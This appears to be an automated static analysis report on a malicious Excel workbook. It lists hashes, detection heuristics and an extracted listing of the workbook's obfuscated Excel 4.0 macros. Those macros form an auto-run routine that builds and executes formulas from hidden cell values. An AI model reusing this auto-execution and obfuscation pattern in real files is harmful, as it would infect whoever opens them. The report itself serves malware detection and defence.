Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f06cea2cd6e9a79d…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:27:28 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: e97af30feedeaa0af30c6bb1d42d2607 SHA-1: 3e0b9cbc434f8683041008783343386fe04577f1 SHA-256: f06cea2cd6e9a79d883f70fd6cf94f1a3be23708a3b97e6681e05a2f1a77429e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6562 bytes
SHA-256: 5c0114307c76d406490348176fff6cd4744e43c59aac027bc2dd3edf3a0b0254
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ffwJQhK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E142 
' 0018     26 LABEL : Cell Value, String Constant - bFwLEormMxS len=0 
' 0018     24 LABEL : Cell Value, String Constant - cKUtLmwOJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - cmUHvGHGCslJ len=0 
' 0018     20 LABEL : Cell Value, String Constant - dEUok len=0 
' 0018     20 LABEL : Cell Value, String Constant - dHlSZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - dWpBtosUwj len=0 
' 0018     20 LABEL : Cell Value, String Constant - ecUHy len=0 
' 0018     25 LABEL : Cell Value, String Constant - EzOMXMylwM len=0 
' 0018     21 LABEL : Cell Value, String Constant - HHGPSF len=0 
' 0018     21 LABEL : Cell Value, String Constant - HOPhEg len=0 
' 0018     22 LABEL : Cell Value, String Constant - ljZTCuw len=0 
' 0018     27 LABEL : Cell Value, String Constant - lkVRsnwBXvkw len=0 
' 0018     25 LABEL : Cell Value, String Constant - lsqpqEpLCa len=0 
' 0018     20 LABEL : Cell Value, String Constant - olyRv len=0 
' 0018     27 LABEL : Cell Value, String Constant - OuLlFBNsRusC len=0 
' 0018     24 LABEL : Cell Value, String Constant - qszFIvnml len=0 
' 0018     27 LABEL : Cell Value, String Constant - szizimqBNSgJ len=0 
' 0018     27 LABEL : Cell Value, String Constant - TZnLZqIrCPMD len=0 
' 0018     25 LABEL : Cell Value, String Constant - VYpvfKkrIg len=0 
' 0018     26 LABEL : Cell Value, String Constant - xtCzuCRKFYL len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ffwJQhK,E51,"SET.NAME("HHGPSF",VALUE("0"))",""
'  ffwJQhK,E54,"SET.NAME("HOPhEg",HHGPSF)",""
'  ffwJQhK,E57,"SET.NAME("lkVRsnwBXvkw",HHGPSF)",""
'  ffwJQhK,E62,"SET.NAME("EzOMXMylwM",COUNTA(VYpvfKkrIg))",""
'  ffwJQhK,E64,"SET.NAME("OuLlFBNsRusC",COUNTA(dEUok))",""
'  ffwJQhK,E66,[],""
'  ffwJQhK,E70,"SET.NAME("dHlSZ","")",""
'  ffwJQhK,E73,"HOPhEg",""
'  ffwJQhK,E77,"SET.NAME("dWpBtosUwj",HLOOKUP("*",VYpvfKkrIg,HOPhEg,FALSE))",""
'  ffwJQhK,E81,"olyRv",""
'  ffwJQhK,E85,"SET.NAME("ljZTCuw",HHGPSF)",""
'  ffwJQhK,E90,[],""
'  ffwJQhK,E92,"ljZTCuw",""
'  ffwJQhK,E95,"cmUHvGHGCslJ",""
'  ffwJQhK,E98,"qszFIvnml",""
'  ffwJQhK,E100,"bFwLEormMxS",""
'  ffwJQhK,E103,"SET.NAME("lsqpqEpLCa",VALUE(HLOOKUP("*",dEUok,bFwLEormMxS,FALSE)))",""
'  ffwJQhK,E107,"cKUtLmwOJ",""
'  ffwJQhK,E112,"dHlSZ",""
'  ffwJQhK,E117,"lkVRsnwBXvkw",""
'  ffwJQhK,E121,NEXT(),""
'  ffwJQhK,E126,"xtCzuCRKFYL",""
'  ffwJQhK,E129,"SET.NAME("f",INT(T(FORMULA(T(dHlSZ)&"",""&T(xtCzuCRKFYL)))))",""
'  ffwJQhK,E132,"TZnLZqIrCPMD",""
'  ffwJQhK,E136,NEXT(),""
'  ffwJQhK,E140,RETURN(),""
'  ffwJQhK,E174,"SET.NAME("ecUHy",E51)",""
'  ffwJQhK,E176,"VYpvfKkrIg",""
'  ffwJQhK,E179,"SET.NAME("dEUok",R99C11)",""
'  ffwJQhK,E181,"SET.NAME("TZnLZqIrCPMD",186)",""
'  ffwJQhK,E183,"SET.NAME("szizimqBNSgJ",5)",""
'  ffwJQhK,E185,ecUHy(),""
'  ffwJQhK,E186,HALT(),""